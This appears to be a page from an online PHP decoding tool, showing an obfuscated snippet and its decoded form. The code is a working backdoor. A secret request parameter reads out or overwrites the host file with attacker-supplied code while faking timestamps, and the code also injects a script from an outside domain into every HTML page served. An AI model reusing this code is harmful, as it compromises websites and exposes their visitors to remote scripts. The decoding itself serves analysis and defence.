Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
/*cut here;)*/if(isset($_REQUEST["\x39l58z\163s\167\x34\x75e\1616\x67\x35\171"])){if(empty..
Decoded Output download
<? /*cut here;)*/if(isset($_REQUEST["9l58zssw4ueq6g5y"])){if(empty($_REQUEST["9l58zssw4ueq6g5y"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("X-LiteSpeed-Purge: *");if(function_exists("opcache_reset")){@opcache_reset();}if(function_exists("apc_clear_cache")){@apc_clear_cache();}$eeua62=filemtime(__FILE__);$zrlgou=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("H*",$_REQUEST["9l58zssw4ueq6g5y"]))));@touch(__FILE__,$eeua62+1,$zrlgou+1);}die;}if(isset($_SERVER["HTTP_ACCEPT"])&&(strpos($_SERVER["HTTP_ACCEPT"],"text/html")!==false||$_SERVER["HTTP_ACCEPT"]==="*/*")){function l33b9d($eeua62){return str_replace("</head>","<script type='text/javascript' async src='https://en03ltnl.cloudfire.quest/challenge.js'></script></head>",$eeua62);}ob_start("l33b9d");}/*cut here;)*/
?>
Did this file decode correctly?
Original Code
/*cut here;)*/if(isset($_REQUEST["\x39l58z\163s\167\x34\x75e\1616\x67\x35\171"])){if(empty($_REQUEST["9\x6c5\70\172\163s\x774\165\145\1616\x675y"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("\130\55\x4ci\164\145\123\160e\145\144\x2d\x50\165\x72\x67e\72\x20\x2a");if(function_exists("op\143a\143\150\x65\137\162\145\163e\x74")){@opcache_reset();}if(function_exists("ap\143_c\x6c\x65ar_\143\x61c\150\145")){@apc_clear_cache();}$eeua62=filemtime(__FILE__);$zrlgou=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("\x48\52",$_REQUEST["9\1545\70\x7a\163\x73\167\64u\x65\1616\147\x35\x79"]))));@touch(__FILE__,$eeua62+1,$zrlgou+1);}die;}if(isset($_SERVER["\110T\124\120\137\x41\x43\x43\105\120T"])&&(strpos($_SERVER["\110\124\124P\x5fAC\x43\105\120T"],"\x74\x65\x78\164\57\150\164\x6d\x6c")!==false||$_SERVER["\110\124TP\137A\103C\105P\x54"]==="\x2a\x2f\x2a")){function l33b9d($eeua62){return str_replace("\74\57h\x65\x61d>","\x3cscrip\164\40t\171\160e\x3d\x27te\170t/j\x61\166as\143\162\151\x70\164\47\40\x61\x73y\x6ec\x20s\x72\x63=\47h\x74\164\x70\163\x3a/\x2f\145\156\60\63l\x74\156l.\143\x6co\165\144\x66i\x72\145\x2e\x71u\x65\163\x74/\143h\141\154l\145\x6e\x67e\x2ejs'\76\74\57scr\151p\x74\x3e\x3c\x2f\150\145\141\x64\76",$eeua62);}ob_start("\x6c3\x33\x629\x64");}/*cut here;)*/
Function Calls
strpos | 1 |
Stats
MD5 | 82de9ad45e0f90773b26b50e8fe430e8 |
Eval Count | 0 |
Decode Time | 72 ms |